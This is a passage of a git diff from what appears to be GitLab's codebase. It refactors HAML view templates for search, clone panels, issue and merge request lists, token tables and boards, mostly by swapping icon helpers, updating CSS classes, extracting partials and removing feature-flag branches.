index 964a2a2772a..e9c6b581c90 100644
--- a/app/views/search/_filter.html.haml
+++ b/app/views/search/_filter.html.haml
@@ -2,21 +2,13 @@
= hidden_field_tag :group_id, params[:group_id]
- if params[:project_id].present?
= hidden_field_tag :project_id, params[:project_id]
+- project_attributes = @project&.attributes&.slice('id', 'namespace_id', 'name')&.merge(name_with_namespace: @project&.name_with_namespace)
+
.dropdown.form-group.mb-lg-0.mx-lg-1.gl-p-0{ data: { testid: "group-filter" } }
%label.d-block{ for: "dashboard_search_group" }
= _("Group")
- %input#js-search-group-dropdown.dropdown-menu-toggle{ value: "Loading...", data: { "initial-group-data": @group.to_json } }
-.dropdown.form-group.mb-lg-0.mx-lg-1{ data: { testid: "project-filter" } }
+ %input#js-search-group-dropdown.dropdown-menu-toggle{ value: "Loading...", data: { "initial-data": @group.to_json } }
+.dropdown.form-group.mb-lg-0.mx-lg-1.gl-p-0{ data: { testid: "project-filter" } }
%label.d-block{ for: "dashboard_search_project" }
= _("Project")
- %button.dropdown-menu-toggle.gl-display-inline-flex.js-search-project-dropdown.gl-mt-0{ type: "button", id: "dashboard_search_project", data: { toggle: "dropdown" } }
- %span.dropdown-toggle-text.gl-flex-grow-1.str-truncated-100
- = @project&.full_name || _("Any")
- - if @project.present?
- = link_to sprite_icon("clear"), url_for(safe_params.except(:project_id)), class: 'search-clear js-search-clear has-tooltip', title: _('Clear')
- = icon("chevron-down")
- .dropdown-menu.dropdown-select.dropdown-menu-selectable.dropdown-menu-right
- = dropdown_title(_("Filter results by project"))
- = dropdown_filter(_("Search projects"))
- = dropdown_content
- = dropdown_loading
+ %input#js-search-project-dropdown.dropdown-menu-toggle{ value: "Loading...", data: { "initial-data": project_attributes.to_json } }
diff --git a/app/views/search/_form.html.haml b/app/views/search/_form.html.haml
index 80973c2b273..a9eee1dd2d6 100644
--- a/app/views/search/_form.html.haml
+++ b/app/views/search/_form.html.haml
@@ -7,9 +7,9 @@
.search-field-holder.form-group.mr-lg-1.mb-lg-0
%label{ for: "dashboard_search" }
= _("What are you searching for?")
- .position-relative
- = search_field_tag :search, params[:search], placeholder: _("Search for projects, issues, etc."), class: "form-control search-text-input js-search-input", id: "dashboard_search", autofocus: true, spellcheck: false
- = sprite_icon('search', css_class: 'search-icon')
+ .gl-search-box-by-type
+ = search_field_tag :search, params[:search], placeholder: _("Search for projects, issues, etc."), class: "gl-form-input form-control search-text-input js-search-input", id: "dashboard_search", autofocus: true, spellcheck: false
+ = sprite_icon('search', css_class: 'gl-search-box-by-type-search-icon gl-icon')
%button.search-clear.js-search-clear{ class: [("hidden" if params[:search].blank?), "has-tooltip"], type: "button", tabindex: "-1", title: _('Clear') }
= sprite_icon('clear')
%span.sr-only
@@ -17,4 +17,4 @@
- unless params[:snippets].eql? 'true'
= render 'filter'
.d-flex-center.flex-column.flex-lg-row
- = button_tag _("Search"), class: "gl-button btn btn-success btn-search form-control mt-lg-0 ml-lg-1 align-self-end"
+ = button_tag _("Search"), class: "gl-button btn btn-success btn-search mt-lg-0 ml-lg-1 align-self-end"
diff --git a/app/views/search/_results.html.haml b/app/views/search/_results.html.haml
index 855112bdba2..80d0253d273 100644
--- a/app/views/search/_results.html.haml
+++ b/app/views/search/_results.html.haml
@@ -1,37 +1,20 @@
+- search_bar_classes = 'search-sidebar gl-display-flex gl-flex-direction-column gl-mr-4'
+
- if @search_objects.to_a.empty?
.gl-display-md-flex
- if %w(issues merge_requests).include?(@scope)
- #js-search-sidebar.gl-display-flex.gl-flex-direction-column.col-md-3.gl-mr-4{ }
- .gl-w-full
+ #js-search-sidebar{ class: search_bar_classes }
+ .gl-w-full.gl-flex-fill-1.gl-overflow-x-hidden
= render partial: "search/results/empty"
= render_if_exists 'shared/promotions/promote_advanced_search'
- else
- .search-results-status
- .row-content-block.gl-display-flex
- .gl-display-md-flex.gl-text-left.gl-align-items-center.gl-flex-grow-1
- - unless @search_objects.is_a?(Kaminari::PaginatableWithoutCount)
- = search_entries_info(@search_objects, @scope, @search_term)
- - unless @show_snippets
- - if @project
- - link_to_project = link_to(@project.full_name, @project, class: 'ml-md-1')
- - if @scope == 'blobs'
- = s_("SearchCodeResults|in")
- .mx-md-1
- = render partial: "shared/ref_switcher", locals: { ref: repository_ref(@project), form_path: request.fullpath, field_name: 'repository_ref' }
- = s_('SearchCodeResults|of %{link_to_project}').html_safe % { link_to_project: link_to_project }
- - else
- = _("in project %{link_to_project}").html_safe % { link_to_project: link_to_project }
- - elsif @group
- - link_to_group = link_to(@group.name, @group, class: 'ml-md-1')
- = _("in group %{link_to_group}").html_safe % { link_to_group: link_to_group }
- .gl-display-md-flex.gl-flex-direction-column
- = render partial: 'search/sort_dropdown'
+ = render partial: 'search/results_status', locals: { search_service: @search_service }
= render_if_exists 'shared/promotions/promote_advanced_search'
.results.gl-display-md-flex.gl-mt-3
- if %w(issues merge_requests).include?(@scope)
- #js-search-sidebar.gl-display-flex.gl-flex-direction-column.col-md-3.gl-mr-4{ }
- .gl-w-full
+ #js-search-sidebar{ class: search_bar_classes }
+ .gl-w-full.gl-flex-fill-1.gl-overflow-x-hidden
- if @scope == 'commits'
%ul.content-list.commit-list
= render partial: "search/results/commit", collection: @search_objects
diff --git a/app/views/search/_results_status.html.haml b/app/views/search/_results_status.html.haml
new file mode 100644
index 00000000000..e55f225b162
--- /dev/null
+++ b/app/views/search/_results_status.html.haml
@@ -0,0 +1,25 @@
+- search_service = local_assigns.fetch(:search_service)
+
+- return unless search_service.show_results_status?
+
+.search-results-status
+ .row-content-block.gl-display-flex
+ .gl-display-md-flex.gl-text-left.gl-align-items-center.gl-flex-grow-1
+ - unless search_service.without_count?
+ = search_entries_info(search_service.search_objects, search_service.scope, params[:search])
+ - unless search_service.show_snippets?
+ - if search_service.project
+ - link_to_project = link_to(search_service.project.full_name, search_service.project, class: 'ml-md-1')
+ - if search_service.scope == 'blobs'
+ = _("in")
+ .mx-md-1
+ = render partial: "shared/ref_switcher", locals: { ref: repository_ref(search_service.project), form_path: request.fullpath, field_name: 'repository_ref' }
+ = s_('SearchCodeResults|of %{link_to_project}').html_safe % { link_to_project: link_to_project }
+ - else
+ = _("in project %{link_to_project}").html_safe % { link_to_project: link_to_project }
+ - elsif search_service.group
+ - link_to_group = link_to(search_service.group.name, search_service.group, class: 'ml-md-1')
+ = _("in group %{link_to_group}").html_safe % { link_to_group: link_to_group }
+ - if search_service.show_sort_dropdown?
+ .gl-display-md-flex.gl-flex-direction-column
+ = render partial: 'search/sort_dropdown'
diff --git a/app/views/search/_sort_dropdown.html.haml b/app/views/search/_sort_dropdown.html.haml
index 085e2f348f7..4ae6513d395 100644
--- a/app/views/search/_sort_dropdown.html.haml
+++ b/app/views/search/_sort_dropdown.html.haml
@@ -1,5 +1,3 @@
-- return unless ['issues', 'merge_requests'].include?(@scope)
-
- sort_value = @sort
- sort_title = search_sort_option_title(sort_value)
@@ -8,7 +6,7 @@
.btn-group{ role: 'group' }
%button.dropdown-menu-toggle{ type: 'button', data: { toggle: 'dropdown', display: 'static' }, class: 'btn btn-default' }
= sort_title
- = icon('chevron-down')
+ = sprite_icon('chevron-down', css_class: 'dropdown-menu-toggle-icon gl-top-3')
%ul.dropdown-menu.dropdown-menu-right.dropdown-menu-selectable.dropdown-menu-sort
%li
= render_if_exists('search/sort_by_relevancy', sort_title: sort_title)
diff --git a/app/views/shared/_alert_info.html.haml b/app/views/shared/_alert_info.html.haml
new file mode 100644
index 00000000000..e47c100909a
--- /dev/null
+++ b/app/views/shared/_alert_info.html.haml
@@ -0,0 +1,6 @@
+.gl-alert.gl-alert-info
+ = sprite_icon('information-o', css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ %button.js-close.gl-alert-dismiss{ type: 'button', 'aria-label' => _('Dismiss') }
+ = sprite_icon('close', css_class: 'gl-icon')
+ .gl-alert-body
+ = body
diff --git a/app/views/shared/_choose_avatar_button.html.haml b/app/views/shared/_choose_avatar_button.html.haml
index caf2bdce899..e3f2e1aa436 100644
--- a/app/views/shared/_choose_avatar_button.html.haml
+++ b/app/views/shared/_choose_avatar_button.html.haml
@@ -1 +1 @@
-= render 'shared/file_picker_button', f: f, field: :avatar, help_text: _("The maximum file size allowed is 200KB.")
+= render 'shared/file_picker_button', f: f, field: :avatar, help_text: _("Max file size is 200 KB.")
diff --git a/app/views/shared/_clone_panel.html.haml b/app/views/shared/_clone_panel.html.haml
index 9ec8d3c18cd..fd52f7f40d2 100644
--- a/app/views/shared/_clone_panel.html.haml
+++ b/app/views/shared/_clone_panel.html.haml
@@ -1,24 +1,22 @@
-- project = project || @project
-
.git-clone-holder.js-git-clone-holder.input-group
.input-group-prepend
- if allowed_protocols_present?
.input-group-text.clone-dropdown-btn.btn
%span.js-clone-dropdown-label
- = enabled_project_button(project, enabled_protocol)
+ = enabled_protocol_button(container, enabled_protocol)
- else
%a#clone-dropdown.input-group-text.btn.clone-dropdown-btn.qa-clone-dropdown{ href: '#', data: { toggle: 'dropdown' } }
%span.js-clone-dropdown-label
= default_clone_protocol.upcase
- = icon('caret-down')
+ = sprite_icon('chevron-down')
%ul.dropdown-menu.dropdown-menu-selectable.clone-options-dropdown
%li
- = ssh_clone_button(project)
+ = ssh_clone_button(container)
%li
- = http_clone_button(project)
- = render_if_exists 'shared/kerberos_clone_button', project: project
+ = http_clone_button(container)
+ = render_if_exists 'shared/kerberos_clone_button', container: container
- = text_field_tag :project_clone, default_url_to_repo(project), class: "js-select-on-focus form-control", readonly: true, aria: { label: _('Project clone URL') }
+ = text_field_tag :clone_url, default_url_to_repo(container), class: "js-select-on-focus form-control", readonly: true, aria: { label: _('Repository clone URL') }
.input-group-append
- = clipboard_button(target: '#project_clone', title: _("Copy URL"), class: "input-group-text btn-default btn-clipboard")
+ = clipboard_button(target: '#clone_url', title: _("Copy URL"), class: "input-group-text btn-default btn-clipboard")
diff --git a/app/views/shared/_file_picker_button.html.haml b/app/views/shared/_file_picker_button.html.haml
index 7c9a3bd3d31..8c10e4958b9 100644
--- a/app/views/shared/_file_picker_button.html.haml
+++ b/app/views/shared/_file_picker_button.html.haml
@@ -1,5 +1,7 @@
+- classes = local_assigns.fetch(:classes, '')
+
%span.js-filepicker
- %button.btn.js-filepicker-button{ type: 'button' }= _("Choose file…")
+ %button.btn.js-filepicker-button{ type: 'button', class: classes }= _("Choose file…")
%span.file_name.js-filepicker-filename= _("No file chosen")
= f.file_field field, class: "js-filepicker-input hidden"
- if help_text.present?
diff --git a/app/views/shared/_group_form.html.haml b/app/views/shared/_group_form.html.haml
index ca603eed703..c3fac5cd464 100644
--- a/app/views/shared/_group_form.html.haml
+++ b/app/views/shared/_group_form.html.haml
@@ -47,11 +47,3 @@
= f.label :id, class: 'label-bold' do
= _("Group ID")
= f.text_field :id, class: 'form-control', readonly: true
-
-.row
- .form-group.group-description-holder.col-sm-8
- = f.label :description, class: 'label-bold' do
- = _("Group description")
- %span (optional)
- = f.text_area :description, maxlength: 250,
- class: 'form-control js-gfm-input', rows: 4
diff --git a/app/views/shared/_group_form_description.html.haml b/app/views/shared/_group_form_description.html.haml
new file mode 100644
index 00000000000..9a895cee884
--- /dev/null
+++ b/app/views/shared/_group_form_description.html.haml
@@ -0,0 +1,5 @@
+.row
+ .form-group.group-description-holder.col-sm-8
+ = f.label :description, _('Group description (optional)'), class: 'label-bold'
+ = f.text_area :description, maxlength: 250,
+ class: 'form-control js-gfm-input', rows: 4
diff --git a/app/views/shared/_issues.html.haml b/app/views/shared/_issues.html.haml
index 0f38d0e3b39..57575f89803 100644
--- a/app/views/shared/_issues.html.haml
+++ b/app/views/shared/_issues.html.haml
@@ -1,7 +1,6 @@
- if @issues.to_a.any?
- .card.card-without-border
- %ul.content-list.issues-list.issuable-list{ class: ("manual-ordering" if @sort == 'relative_position'), data: { group_full_path: @group&.full_path } }
- = render partial: 'projects/issues/issue', collection: @issues
+ %ul.content-list.issues-list.issuable-list{ class: ("manual-ordering" if @sort == 'relative_position'), data: { group_full_path: @group&.full_path } }
+ = render partial: 'projects/issues/issue', collection: @issues
= paginate @issues, theme: "gitlab"
- else
= render 'shared/empty_states/issues'
diff --git a/app/views/shared/_md_preview.html.haml b/app/views/shared/_md_preview.html.haml
index c7c36d79fa0..0976defea1b 100644
--- a/app/views/shared/_md_preview.html.haml
+++ b/app/views/shared/_md_preview.html.haml
@@ -28,7 +28,7 @@
- if referenced_users
.referenced-users.hide
%span
- = icon("exclamation-triangle")
+ = sprite_icon('warning-solid')
You are about to add
%strong
%span.js-referenced-users-count 0
diff --git a/app/views/shared/_merge_requests.html.haml b/app/views/shared/_merge_requests.html.haml
index d280df8b370..dc8efa3e734 100644
--- a/app/views/shared/_merge_requests.html.haml
+++ b/app/views/shared/_merge_requests.html.haml
@@ -1,7 +1,6 @@
- if @merge_requests.to_a.any?
- .card.card-without-border
- %ul.content-list.mr-list.issuable-list
- = render partial: 'projects/merge_requests/merge_request', collection: @merge_requests
+ %ul.content-list.mr-list.issuable-list
+ = render partial: 'projects/merge_requests/merge_request', collection: @merge_requests
= paginate @merge_requests, theme: "gitlab"
diff --git a/app/views/shared/_milestones_sort_dropdown.html.haml b/app/views/shared/_milestones_sort_dropdown.html.haml
index 06da990e071..29c01343358 100644
--- a/app/views/shared/_milestones_sort_dropdown.html.haml
+++ b/app/views/shared/_milestones_sort_dropdown.html.haml
@@ -5,7 +5,7 @@
= milestone_sort_options_hash[@sort]
- else
= sort_title_due_date_soon
- = icon('chevron-down')
+ = sprite_icon('chevron-down', css_class: 'dropdown-menu-toggle-icon gl-top-3')
%ul.dropdown-menu.dropdown-menu-right.dropdown-menu-sort
%li
= link_to page_filter_path(sort: sort_value_due_date_soon) do
diff --git a/app/views/shared/_no_password.html.haml b/app/views/shared/_no_password.html.haml
index 76ae63ca5e8..9c1e5a49b44 100644
--- a/app/views/shared/_no_password.html.haml
+++ b/app/views/shared/_no_password.html.haml
@@ -5,7 +5,7 @@
= sprite_icon('close', size: 16, css_class: 'gl-icon')
.gl-alert-body
- translation_params = { protocol: gitlab_config.protocol.upcase, set_password_link: link_to_set_password }
- - set_password_message = _("You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account") % translation_params
+ - set_password_message = _("You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account") % translation_params
= set_password_message.html_safe
.gl-alert-actions
= link_to _('Remind later'), '#', class: 'hide-no-password-message btn gl-alert-action btn-info btn-md gl-button'
diff --git a/app/views/shared/_no_ssh.html.haml b/app/views/shared/_no_ssh.html.haml
index a083a772233..0a7fa2a3c1e 100644
--- a/app/views/shared/_no_ssh.html.haml
+++ b/app/views/shared/_no_ssh.html.haml
@@ -4,7 +4,7 @@
%button{ class: 'gl-alert-dismiss hide-no-ssh-message', type: 'button', 'aria-label': _('Dismiss') }
= sprite_icon('close', css_class: 'gl-icon s16')
.gl-alert-body
- = s_("MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile").html_safe
+ = s_("MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile")
.gl-alert-actions
= link_to s_('MissingSSHKeyWarningLink|Add SSH key'), profile_keys_path, class: "btn gl-alert-action btn-warning btn-md new-gl-button"
= link_to s_("MissingSSHKeyWarningLink|Don't show again"), profile_path(user: {hide_no_ssh_key: true}), method: :put, role: 'button', class: 'btn gl-alert-action btn-md btn-warning gl-button btn-warning-secondary'
diff --git a/app/views/shared/_service_settings.html.haml b/app/views/shared/_service_settings.html.haml
index 647421a8fbe..194e0eb57f2 100644
--- a/app/views/shared/_service_settings.html.haml
+++ b/app/views/shared/_service_settings.html.haml
@@ -9,5 +9,5 @@
.service-settings
- if @default_integration
- .js-vue-default-integration-settings{ data: integration_form_data(@default_integration) }
- .js-vue-integration-settings{ data: integration_form_data(integration) }
+ .js-vue-default-integration-settings{ data: integration_form_data(@default_integration, group: @group) }
+ .js-vue-integration-settings{ data: integration_form_data(integration, group: @group) }
diff --git a/app/views/shared/_web_ide_button.html.haml b/app/views/shared/_web_ide_button.html.haml
index 75f5b8647f2..f9c6afcbc32 100644
--- a/app/views/shared/_web_ide_button.html.haml
+++ b/app/views/shared/_web_ide_button.html.haml
@@ -1,8 +1,8 @@
- type = blob ? 'blob' : 'tree'
-.d-inline-block{ data: { options: web_ide_button_data(blob: blob).to_json }, id: "js-#{type}-web-ide-link" }
+.d-inline-block{ data: { options: web_ide_button_data({ blob: blob }).to_json }, id: "js-#{type}-web-ide-link" }
-- if show_edit_button?
+- if show_edit_button?({ blob: blob })
= render 'shared/confirm_fork_modal', fork_path: fork_and_edit_path(@project, @ref, @path), type: 'edit'
- if show_web_ide_button?
= render 'shared/confirm_fork_modal', fork_path: ide_fork_and_edit_path(@project, @ref, @path), type: 'webide'
diff --git a/app/views/shared/access_tokens/_table.html.haml b/app/views/shared/access_tokens/_table.html.haml
index 255ec9995db..50daa400e6c 100644
--- a/app/views/shared/access_tokens/_table.html.haml
+++ b/app/views/shared/access_tokens/_table.html.haml
@@ -42,7 +42,7 @@
= _('In %{time_to_now}') % { time_to_now: distance_of_time_in_words_to_now(token.expires_at) }
- else
%span.token-never-expires-label= _('Never')
- %td= token.scopes.present? ? token.scopes.join(', ') : html_escape_once(_('&lt;no scopes selected&gt;')).html_safe
+ %td= token.scopes.present? ? token.scopes.join(', ') : _('no scopes selected')
%td= link_to _('Revoke'), revoke_route_helper.call(token), method: :put, class: 'btn btn-danger float-right qa-revoke-button', data: { confirm: _('Are you sure you want to revoke this %{type}? This action cannot be undone.') % { type: type } }
- else
.settings-message.text-center
diff --git a/app/views/shared/boards/_show.html.haml b/app/views/shared/boards/_show.html.haml
index ce48691166b..e4222d8a4fe 100644
--- a/app/views/shared/boards/_show.html.haml
+++ b/app/views/shared/boards/_show.html.haml
@@ -13,27 +13,15 @@
- content_for :page_specific_javascripts do
%script#js-board-modal-filter{ type: "text/x-template" }= render "shared/issuable/search_bar", type: :boards_modal, show_sorting_dropdown: false
- %script#js-board-promotion{ type: "text/x-template" }= render_if_exists "shared/promotions/promote_issue_board"
= render 'shared/issuable/search_bar', type: :boards, board: board
#board-app.boards-app.position-relative{ "v-cloak" => "true", data: board_data, ":class" => "{ 'is-compact': detailIssueVisible }" }
- - if Feature.enabled?(:boards_with_swimlanes, current_board_parent, default_enabled: true) || Feature.enabled?(:graphql_board_lists, current_board_parent)
- %board-content{ "v-cloak" => "true",
- "ref" => "board_content",
- ":lists" => "state.lists",
- ":can-admin-list" => can_admin_list,
- ":disabled" => "disabled" }
- - else
- .boards-list.w-100.py-3.px-2.text-nowrap{ data: { qa_selector: "boards_list" } }
- .boards-app-loading.w-100.text-center{ "v-if" => "loading" }
- = loading_icon(css_class: 'gl-mb-3')
- %board{ "v-cloak" => "true",
- "v-for" => "list in state.lists",
- "ref" => "board",
- ":can-admin-list" => can_admin_list,
- ":list" => "list",
- ":disabled" => "disabled",
- ":key" => "list.id" }
+ %board-content{ "v-cloak" => "true",
+ "ref" => "board_content",
+ ":lists" => "state.lists",
+ ":can-admin-list" => can_admin_list,
+ ":disabled" => "disabled",
+ data: { qa_selector: "boards_list" } }
= render "shared/boards/components/sidebar", group: group
%board-settings-sidebar{ ":can-admin-list" => can_admin_list }
- if @project
diff --git a/app/views/shared/deploy_tokens/_table.html.haml b/app/views/shared/deploy_tokens/_table.html.haml
index ad73442807e..361471af0ad 100644
--- a/app/views/shared/deploy_tokens/_table.html.haml
+++ b/app/views/shared/deploy_tokens/_table.html.haml
@@ -23,7 +23,7 @@
In #{distance_of_time_in_words_to_now(token.expires_at)}
- else
%span.token-never-expires-label= _('Never')
- %td= token.scopes.present? ? token.scopes.join(", ") : html_escape_once(_('&lt;no scopes selected&gt;')).html_safe
+ %td= token.scopes.present? ? token.scopes.join(', ') : _('no scopes selected')
%td= link_to s_('DeployTokens|Revoke'), "#", class: "btn btn-danger float-right", data: { toggle: "modal", target: "#revoke-modal-#{token.id}"}
= render 'shared/deploy_tokens/revoke_modal', token: token, group_or_project: group_or_project
- else
diff --git a/app/views/shared/groups/_dropdown.html.haml b/app/views/shared/groups/_dropdown.html.haml
index 9d2d3ce20c7..75c34102935 100644
--- a/app/views/shared/groups/_dropdown.html.haml
+++ b/app/views/shared/groups/_dropdown.html.haml
@@ -1,24 +1,17 @@
- options_hash = local_assigns.fetch(:options_hash, groups_sort_options_hash)
- show_archive_options = local_assigns.fetch(:show_archive_options, false)
-- if @sort.present?
- - default_sort_by = @sort
-- else
- - if params[:sort]
- - default_sort_by = params[:sort]
- - else
- - default_sort_by = sort_value_recently_created
.dropdown.inline.js-group-filter-dropdown-wrap.gl-mr-3
%button.dropdown-menu-toggle{ type: 'button', 'data-toggle' => 'dropdown' }
%span.dropdown-label
- = options_hash[default_sort_by]
- = icon('chevron-down')
+ = options_hash[project_list_sort_by]
+ = sprite_icon('chevron-down', css_class: 'dropdown-menu-toggle-icon gl-top-3')
%ul.dropdown-menu.dropdown-menu-right.dropdown-menu-selectable
%li.dropdown-header
= _("Sort by")
- options_hash.each do |value, title|
%li.js-filter-sort-order
- = link_to filter_groups_path(sort: value), class: ("is-active" if default_sort_by == value) do
+ = link_to filter_groups_path(sort: value), class: ("is-active" if project_list_sort_by == value) do
= title
- if show_archive_options
%li.divider
diff --git a/app/views/shared/groups/_visibility_level.html.haml b/app/views/shared/groups/_visibility_level.html.haml
new file mode 100644
index 00000000000..1a13de9b76a
--- /dev/null
+++ b/app/views/shared/groups/_visibility_level.html.haml
@@ -0,0 +1,3 @@
+= f.label :visibility_level, class: 'label-bold' do
+ = _('Visibility level')
+.js-visibility-level-dropdown{ data: { visibility_level_options: visibility_level_options(@group).to_json, default_level: f.object.visibility_level } }
diff --git a/app/views/shared/icons/_icon_mattermost.svg b/app/views/shared/icons/_icon_mattermost.svg
index d1c541523ab..3cf10851003 100644
--- a/app/views/shared/icons/_icon_mattermost.svg
+++ b/app/views/shared/icons/_icon_mattermost.svg
@@ -1 +1 @@
-<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500"><path d="M250.05 34c1.9.04 3.8.11 5.6.2l-29.79 35.51c-.07.01-.15.03-.23.04C149.26 84.1 98.22 146.5 98.22 222.97c0 41.56 23.07 90.5 59.75 119.1 28.61 22.32 64.29 36.9 101.21 36.9 93.4 0 160.15-68.61 160.15-156 0-34.91-15.99-72.77-41.76-100.76l-1.63-47.39c54.45 39.15 89.95 103.02 90.06 175.17v.01c0 119.29-96.7 216-216 216-119.29 0-216-96.71-216-216S130.71 34 250 34h.05zm64.1 20.29c.66-.04 1.32.03 1.96.25 3.01 1 3.85 3.57 3.93 6.45l3.84 146.88c.76 28.66-17.16 68.44-60.39 68.56-30.97.08-63.68-20.83-63.68-60.13.01-14.73 5.61-31.26 19.25-48.11l90.03-111.18c1.15-1.42 3.08-2.58 5.06-2.72z"/></svg>
+<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 500 500"><path d="M250.05 34c1.9.04 3.8.11 5.6.2l-29.79 35.51c-.07.01-.15.03-.23.04C149.26 84.1 98.22 146.5 98.22 222.97c0 41.56 23.07 90.5 59.75 119.1 28.61 22.32 64.29 36.9 101.21 36.9 93.4 0 160.15-68.61 160.15-156 0-34.91-15.99-72.77-41.76-100.76l-1.63-47.39c54.45 39.15 89.95 103.02 90.06 175.17v.01c0 119.29-96.7 216-216 216-119.29 0-216-96.71-216-216S130.71 34 250 34h.05zm64.1 20.29c.66-.04 1.32.03 1.96.25 3.01 1 3.85 3.57 3.93 6.45l3.84 146.88c.76 28.66-17.16 68.44-60.39 68.56-30.97.08-63.68-20.83-63.68-60.13.01-14.73 5.61-31.26 19.25-48.11l90.03-111.18c1.15-1.42 3.08-2.58 5.06-2.72z"/></svg>
diff --git a/app/views/shared/integrations/_index.html.haml b/app/views/shared/integrations/_index.html.haml
index 2f299ad5c89..edc85f04d91 100644
--- a/app/views/shared/integrations/_index.html.haml
+++ b/app/views/shared/integrations/_index.html.haml
@@ -1,4 +1,4 @@
-%table.table.b-table.gl-table.mt-3{ role: 'table', 'aria-busy': false, 'aria-colcount': 4 }
+%table.table.b-table.gl-table{ role: 'table', 'aria-busy': false, 'aria-colcount': 4 }
%colgroup
%col
%col
@@ -15,11 +15,10 @@
- integrations.each do |integration|
- activated_label = (integration.activated? ? s_("ProjectService|%{service_title}: status on") : s_("ProjectService|%{service_title}: status off")) % { service_title: integration.title }
%tr{ role: 'row' }
- %td{ role: 'cell', 'aria-colindex': 1, 'aria-label': activated_label }
+ %td{ role: 'cell', 'aria-colindex': 1, 'aria-label': activated_label, title: activated_label }
= boolean_to_icon integration.operating?
%td{ role: 'cell', 'aria-colindex': 2 }
- = link_to scoped_edit_integration_path(integration), { data: { qa_selector: "#{integration.to_param}_link" } } do
- %strong= integration.title
+ = link_to integration.title, scoped_edit_integration_path(integration), class: 'gl-font-weight-bold', data: { qa_selector: "#{integration.to_param}_link" }
%td.d-none.d-sm-table-cell{ role: 'cell', 'aria-colindex': 3 }
= integration.description
%td{ role: 'cell', 'aria-colindex': 4 }
diff --git a/app/views/shared/issuable/_bulk_update_sidebar.html.haml b/app/views/shared/issuable/_bulk_update_sidebar.html.haml
index 09abe9e89c4..2f30958c877 100644
--- a/app/views/shared/issuable/_bulk_update_sidebar.html.haml
+++ b/app/views/shared/issuable/_bulk_update_sidebar.html.haml
@@ -1,5 +1,5 @@
- type = local_assigns.fetch(:type)
-- bulk_issue_health_status_flag = Feature.enabled?(:bulk_update_health_status, @project&.group, default_enabled: true) && type == :issues && @project&.group&.feature_available?(:issuable_health_status)
+- bulk_issue_health_status_flag = type == :issues && @project&.group&.feature_available?(:issuable_health_status)
- epic_bulk_edit_flag = @project&.group&.feature_available?(:epics) && type == :issues
%aside.issues-bulk-update.js-right-sidebar.right-sidebar{ "aria-live" => "polite", data: { 'signed-in': current_user.present? } }
diff --git a/app/views/shared/issuable/_close_reopen_button.html.haml b/app/views/shared/issuable/_close_reopen_button.html.haml
deleted file mode 100644
index 3453db9f209..00000000000
--- a/app/views/shared/issuable/_close_reopen_button.html.haml
+++ /dev/null
@@ -1,26 +0,0 @@
-- is_current_user = issuable_author_is_current_user(issuable)
-- display_issuable_type = issuable_display_type(issuable)
-- are_close_and_open_buttons_hidden = issuable_button_hidden?(issuable, true) && issuable_button_hidden?(issuable, false)
-- add_blocked_class = false
-- if defined? warn_before_close
- - add_blocked_class = warn_before_close
-
-- if is_current_user && !issuable.is_a?(MergeRequest)
- - if can_update
- %button{ class: "d-none d-md-block btn btn-grouped btn-close js-btn-issue-action #{issuable_button_visibility(issuable, true)} #{(add_blocked_class ? 'btn-issue-blocked' : '')}",
- data: { remote: 'true', endpoint: close_issuable_path(issuable), qa_selector: 'close_issue_button' } }
- = _("Close %{display_issuable_type}") % { display_issuable_type: display_issuable_type }
- - if can_reopen
- %button{ class: "d-none d-md-block btn btn-grouped btn-reopen js-btn-issue-action #{issuable_button_visibility(issuable, false)}",
- data: { remote: 'true', endpoint: reopen_issuable_path(issuable), qa_selector: 'reopen_issue_button' } }
- = _("Reopen %{display_issuable_type}") % { display_issuable_type: display_issuable_type }
-- else
- - if can_update && !are_close_and_open_buttons_hidden
- - if issuable.is_a?(MergeRequest)
- = render 'shared/issuable/close_reopen_draft_report_toggle', issuable: issuable
- - else
- = render 'shared/issuable/close_reopen_report_toggle', issuable: issuable, warn_before_close: add_blocked_class
- - else
- - unless issuable.is_a?(MergeRequest) && issuable.merged?
- = link_to _('Report abuse'), new_abuse_report_path(user_id: issuable.author.id, ref_url: issuable_url(issuable)),
- class: 'd-none d-md-block btn btn-grouped btn-close-color', title: _('Report abuse')
diff --git a/app/views/shared/issuable/_close_reopen_draft_report_toggle.html.haml b/app/views/shared/issuable/_close_reopen_draft_report_toggle.html.haml
deleted file mode 100644
index bdb53dfe323..00000000000
--- a/app/views/shared/issuable/_close_reopen_draft_report_toggle.html.haml
+++ /dev/null
@@ -1,37 +0,0 @@
-- display_issuable_type = issuable_display_type(issuable)
-- button_action_class = issuable.closed? ? 'btn-default' : 'btn-warning btn-warning-secondary'
-- button_class = "btn gl-button #{!issuable.closed? && 'js-draft-toggle-button'}"
-- toggle_class = "btn gl-button dropdown-toggle"
-
-.float-left.btn-group.gl-ml-3.issuable-close-dropdown.d-none.d-md-inline-flex.js-issuable-close-dropdown
- = link_to issuable.closed? ? reopen_issuable_path(issuable) : toggle_draft_issuable_path(issuable), method: :put, class: "#{button_class} #{button_action_class}" do
- - if issuable.closed?
- = _('Reopen')
- = display_issuable_type
- - else
- = issuable.work_in_progress? ? _('Mark as ready') : _('Mark as draft')
-
- - if !issuable.closed? || !issuable_author_is_current_user(issuable)
- = button_tag type: 'button', class: "#{toggle_class} #{button_action_class}", data: { 'toggle' => 'dropdown' } do
- %span.sr-only= _('Toggle dropdown')
- = sprite_icon "angle-down", size: 12
-
- %ul.js-issuable-close-menu.dropdown-menu.dropdown-menu-right
- - if issuable.open?
- %li
- = link_to close_issuable_path(issuable), method: :put do
- .description
- %strong.title
- = _('Close')
- = display_issuable_type
-
- - unless issuable_author_is_current_user(issuable)
- - unless issuable.closed?
- %li.divider.droplab-item-ignore
-
- %li.report-item
- %a.report-abuse-link{ href: new_abuse_report_path(user_id: issuable.author.id, ref_url: issuable_url(issuable)) }
- .description
- %strong.title= _('Report abuse')
- %p.text
- = _('Report %{display_issuable_type} that are abusive, inappropriate or spam.') % { display_issuable_type: display_issuable_type.pluralize }
diff --git a/app/views/shared/issuable/_close_reopen_report_toggle.html.haml b/app/views/shared/issuable/_close_reopen_report_toggle.html.haml
deleted file mode 100644
index 48d1e146629..00000000000
--- a/app/views/shared/issuable/_close_reopen_report_toggle.html.haml
